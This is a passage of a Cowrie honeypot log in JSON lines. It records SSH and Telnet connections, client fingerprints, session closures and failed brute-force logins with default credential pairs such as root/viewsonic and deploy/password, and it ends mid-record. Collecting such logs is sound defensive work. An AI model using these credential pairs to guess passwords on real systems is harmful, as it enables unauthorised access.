{"eventid":"cowrie.session.closed","duration":111.74539160728455,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:18.568013Z","src_ip":"152.42.224.71","session":"870fa6783783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.13508343696594,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:19.865785Z","src_ip":"152.42.224.71","session":"bdad5db40f7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":57992,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bb0ab87a5fb","protocol":"ssh","message":"New connection: 103.82.132.16:57992 (10.17.0.5:22) [session: 5bb0ab87a5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:20.251678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:20.256306Z","src_ip":"103.82.132.16","session":"5bb0ab87a5fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:20.513959Z","src_ip":"103.82.132.16","session":"5bb0ab87a5fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viewsonic","message":"login attempt [root/viewsonic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:21.287230Z","src_ip":"103.82.132.16","session":"5bb0ab87a5fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.51439714431763,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:22.391531Z","src_ip":"152.42.224.71","session":"15a557bf82c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:22.550768Z","src_ip":"103.82.132.16","session":"5bb0ab87a5fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48990,"dst_ip":"10.17.0.5","dst_port":23,"session":"4baf31fcdbc7","protocol":"telnet","message":"New connection: 152.42.224.71:48990 (10.17.0.5:23) [session: 4baf31fcdbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:23.373694Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":33292,"dst_ip":"159.203.135.109","dst_port":22,"session":"03605e244061","protocol":"ssh","message":"New connection: 87.251.79.125:33292 (159.203.135.109:22) [session: 03605e244061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:23.904011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:23.909506Z","src_ip":"87.251.79.125","session":"03605e244061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:23.982726Z","src_ip":"87.251.79.125","session":"03605e244061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000q","message":"login attempt [root/000000q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:24.200327Z","src_ip":"87.251.79.125","session":"03605e244061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:25.275853Z","src_ip":"87.251.79.125","session":"03605e244061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53390,"dst_ip":"159.203.135.109","dst_port":22,"session":"12ec3dfb522d","protocol":"ssh","message":"New connection: 31.40.204.166:53390 (159.203.135.109:22) [session: 12ec3dfb522d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:25.283402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:25.297713Z","src_ip":"31.40.204.166","session":"12ec3dfb522d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:25.610196Z","src_ip":"31.40.204.166","session":"12ec3dfb522d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:26.208776Z","src_ip":"31.40.204.166","session":"12ec3dfb522d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:27.384698Z","src_ip":"31.40.204.166","session":"12ec3dfb522d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.29944109916687,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:28.205168Z","src_ip":"152.42.224.71","session":"ada69d9b0f6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":54934,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2a80b7f964a","protocol":"ssh","message":"New connection: 103.173.227.57:54934 (159.203.135.109:22) [session: a2a80b7f964a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:33.311293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:33.316018Z","src_ip":"103.173.227.57","session":"a2a80b7f964a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:33.553684Z","src_ip":"103.173.227.57","session":"a2a80b7f964a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"metall","message":"login attempt [root/metall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:34.266954Z","src_ip":"103.173.227.57","session":"a2a80b7f964a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.997525215148926,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:34.550605Z","src_ip":"152.42.224.71","session":"3e80f1cec290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.27945280075073,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:34.593162Z","src_ip":"152.42.224.71","session":"92565b6538e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:35.506260Z","src_ip":"103.173.227.57","session":"a2a80b7f964a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.61932420730591,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:36.399226Z","src_ip":"152.42.224.71","session":"90a67c35749a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50342,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6e2b16b1bed","protocol":"ssh","message":"New connection: 31.40.204.166:50342 (159.203.135.109:22) [session: e6e2b16b1bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:37.603666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:37.610083Z","src_ip":"31.40.204.166","session":"e6e2b16b1bed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:37.784260Z","src_ip":"31.40.204.166","session":"e6e2b16b1bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:38.219451Z","src_ip":"31.40.204.166","session":"e6e2b16b1bed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36664,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da87325ac83","protocol":"telnet","message":"New connection: 152.42.224.71:36664 (10.17.0.5:23) [session: 6da87325ac83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:38.405920Z"}
{"eventid":"cowrie.session.closed","duration":97.4614884853363,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:38.788895Z","src_ip":"152.42.224.71","session":"c1bf1c5a48c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:39.497421Z","src_ip":"31.40.204.166","session":"e6e2b16b1bed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.5293710231781,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:39.662410Z","src_ip":"152.42.224.71","session":"7788bce0f562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36672,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58e7c105931","protocol":"telnet","message":"New connection: 152.42.224.71:36672 (10.17.0.5:23) [session: d58e7c105931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:41.059541Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36688,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b09fe981b10","protocol":"telnet","message":"New connection: 152.42.224.71:36688 (10.17.0.5:23) [session: 5b09fe981b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:43.693007Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36694,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ec2834b3648","protocol":"telnet","message":"New connection: 152.42.224.71:36694 (10.17.0.5:23) [session: 8ec2834b3648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:46.186081Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57212,"dst_ip":"159.203.135.109","dst_port":22,"session":"d40ed14fffac","protocol":"ssh","message":"New connection: 31.40.204.166:57212 (159.203.135.109:22) [session: d40ed14fffac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:49.181230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:49.185999Z","src_ip":"31.40.204.166","session":"d40ed14fffac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:49.320638Z","src_ip":"31.40.204.166","session":"d40ed14fffac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36500,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc8a95e7aa94","protocol":"telnet","message":"New connection: 152.42.224.71:36500 (10.17.0.5:23) [session: bc8a95e7aa94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:49.338176Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:49.800338Z","src_ip":"31.40.204.166","session":"d40ed14fffac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:50.980759Z","src_ip":"31.40.204.166","session":"d40ed14fffac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36508,"dst_ip":"10.17.0.5","dst_port":23,"session":"de85cbc9ab58","protocol":"telnet","message":"New connection: 152.42.224.71:36508 (10.17.0.5:23) [session: de85cbc9ab58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:53.585238Z"}
{"eventid":"cowrie.session.closed","duration":38.86170673370361,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:54.263434Z","src_ip":"152.42.224.71","session":"2e75ddbbda68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36512,"dst_ip":"10.17.0.5","dst_port":23,"session":"9be3046d3807","protocol":"telnet","message":"New connection: 152.42.224.71:36512 (10.17.0.5:23) [session: 9be3046d3807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:45:54.605085Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55396,"dst_ip":"159.203.135.109","dst_port":22,"session":"161cf39c2967","protocol":"ssh","message":"New connection: 31.40.204.166:55396 (159.203.135.109:22) [session: 161cf39c2967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:01.081885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:46:01.088023Z","src_ip":"31.40.204.166","session":"161cf39c2967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"